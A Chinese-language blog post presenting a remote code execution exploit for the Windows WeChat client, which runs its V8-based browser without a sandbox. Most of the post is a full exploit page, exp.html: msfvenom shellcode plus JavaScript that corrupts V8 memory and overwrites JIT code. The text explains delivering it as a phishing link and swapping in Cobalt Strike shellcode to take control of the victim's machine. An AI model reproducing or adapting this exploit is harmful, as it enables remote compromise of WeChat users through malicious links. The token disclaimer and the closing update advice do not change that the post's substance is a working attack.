Wechat RCE 0day

本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。

小维

漏洞描述

该漏洞是Google V8引擎历史漏洞的衍生关联漏洞。微信客户端（Windows版本）使用V8引擎解析JavaScript代码，并关闭了沙盒模式（–no-sandbox参数)。攻击者利用上述漏洞，构造恶意钓鱼链接并通过微信发送，在引诱受害者使用微信客户端（Windows版）点击钓鱼链接后，可获取远程主机的控制权限，实现远程代码执行攻击。

影响范围

微信PC客户端（Windows）< 3.2.1.141 （注：亲测较低版本可能不存在）

漏洞复现

环境介绍

操作系统：Windows 10
Wechat：3.1.0.41

微信打开链接时会调用WeChatWeb.exe进程，默认使用–no-sandbox，构造好对应的POC即可实现攻击。

exp.html

<script>
ENABLE_LOG = true;
IN_WORKER = true;

// calc.exe shellcode msf生成calc.exe shellcode命令msfvenom -a x86 –platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f c
var shellcode = [0x89,0xe0,0xdb,0xc0,0xd9,0x70,0xf4,0x5f,0x57,0x59,0x49,0x49,0x49,0x49,0x49,0x49,0x49,0x49,0x49,0x49,0x43,0x43,0x43,0x43,0x43,0x43,0x37,0x51,0x5a,0x6a,0x41,0x58,0x50,0x30,0x41,0x30,0x41,0x6b,0x41,0x41,0x51,0x32,0x41,0x42,0x32,0x42,0x42,0x30,0x42,0x42,0x41,0x42,0x58,0x50,0x38,0x41,0x42,0x75,0x4a,0x49,0x79,0x6c,0x7a,0x48,0x6d,0x52,0x53,0x30,0x63,0x30,0x65,0x50,0x53,0x50,0x6f,0x79,0x49,0x75,0x50,0x31,0x6b,0x70,0x70,0x64,0x4c,0x4b,0x30,0x50,0x46,0x50,0x6c,0x4b,0x52,0x72,0x54,0x4c,0x6c,0x4b,0x46,0x32,0x34,0x54,0x4e,0x6b,0x30,0x72,0x76,0x48,0x36,0x6f,0x78,0x37,0x51,0x5a,0x47,0x56,0x55,0x61,0x69,0x6f,0x6e,0x4c,0x35,0x6c,0x53,0x51,0x33,0x4c,0x75,0x52,0x36,0x4c,0x75,0x70,0x7a,0x61,0x78,0x4f,0x44,0x4d,0x37,0x71,0x5a,0x67,0x69,0x72,0x79,0x62,0x43,0x62,0x56,0x37,0x4e,0x6b,0x31,0x42,0x56,0x70,0x4c,0x4b,0x61,0x5a,0x67,0x4c,0x6c,0x4b,0x30,0x4c,0x76,0x71,0x31,0x68,0x7a,0x43,0x51,0x58,0x57,0x71,0x5a,0x71,0x52,0x71,0x4e,0x6b,0x33,0x69,0x37,0x50,0x57,0x71,0x7a,0x73,0x6e,0x6b,0x70,0x49,0x55,0x48,0x6d,0x33,0x66,0x5a,0x31,0x59,0x6c,0x4b,0x54,0x74,0x4c,0x4b,0x57,0x71,0x4e,0x36,0x56,0x51,0x59,0x6f,0x6e,0x4c,0x6b,0x71,0x38,0x4f,0x64,0x4d,0x77,0x71,0x49,0x57,0x57,0x48,0x4d,0x30,0x70,0x75,0x68,0x76,0x47,0x73,0x73,0x4d,0x6b,0x48,0x67,0x4b,0x61,0x6d,0x66,0x44,0x61,0x65,0x78,0x64,0x30,0x58,0x6c,0x4b,0x63,0x68,0x56,0x44,0x43,0x31,0x6a,0x73,0x71,0x76,0x6c,0x4b,0x76,0x6c,0x62,0x6b,0x4e,0x6b,0x53,0x68,0x45,0x4c,0x37,0x71,0x59,0x43,0x4e,0x6b,0x36,0x64,0x4e,0x6b,0x55,0x51,0x38,0x50,0x4f,0x79,0x52,0x64,0x47,0x54,0x31,0x34,0x43,0x6b,0x51,0x4b,0x33,0x51,0x70,0x59,0x52,0x7a,0x70,0x51,0x49,0x6f,0x59,0x70,0x53,0x6f,0x51,0x4f,0x30,0x5a,0x4c,0x4b,0x37,0x62,0x38,0x6b,0x4c,0x4d,0x73,0x6d,0x63,0x5a,0x63,0x31,0x6c,0x4d,0x6d,0x55,0x68,0x32,0x57,0x70,0x67,0x70,0x37,0x70,0x36,0x30,0x50,0x68,0x55,0x61,0x6e,0x6b,0x62,0x4f,0x6e,0x67,0x4b,0x4f,0x79,0x45,0x4f,0x4b,0x5a,0x50,0x6c,0x75,0x4c,0x62,0x73,0x66,0x31,0x78,0x69,0x36,0x7a,0x35,0x4d,0x6d,0x6d,0x4d,0x4b,0x4f,0x78,0x55,0x67,0x4c,0x55,0x56,0x63,0x4c,0x37,0x7a,0x4b,0x30,0x69,0x6b,0x79,0x70,0x74,0x35,0x76,0x65,0x4d,0x6b,0x31,0x57,0x52,0x33,0x43,0x42,0x42,0x4f,0x71,0x7a,0x75,0x50,0x50,0x53,0x39,0x6f,0x48,0x55,0x65,0x33,0x30,0x61,0x52,0x4c,0x51,0x73,0x74,0x6e,0x70,0x65,0x50,0x78,0x63,0x55,0x73,0x30,0x41,0x41];

function print(data) {
}


var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}

function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}

function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;

    this.page_buffer = null;
    this.page_view = null;

    this.prevent_opt = [];

    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;

    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }

    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);

    new RegExp({ toString: function () { return 'a' } });
    cb(true);

    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );

            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }

    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }

        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }

        return DerivedN;
    })`);

    gc();


    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }

    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }

    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }

    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }

    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }

    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}

function trigger() {
    var oob = oobAccess();

    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));

    var kCodeInsOffset = 0x1b;

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));

    oob.setBytes(code_addr, shellcode);

    target_function(0);
}

try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}
</script>

效果

将恶意的exp.html部署在HTTP服务上，使用微信内置浏览器打开部署好的链接，成功弹出计算器。

将exp.html中的计算器Shellcode替换成CS生成好的Shellcode（32位），实现CS上线。

处置建议

微信新版本修复该漏洞，建议用户立即将微信 （Windows版）更新至最新版本。

参考

https://mp.weixin.qq.com/s/qAnxwM1Udulj1K3Wn2awVQ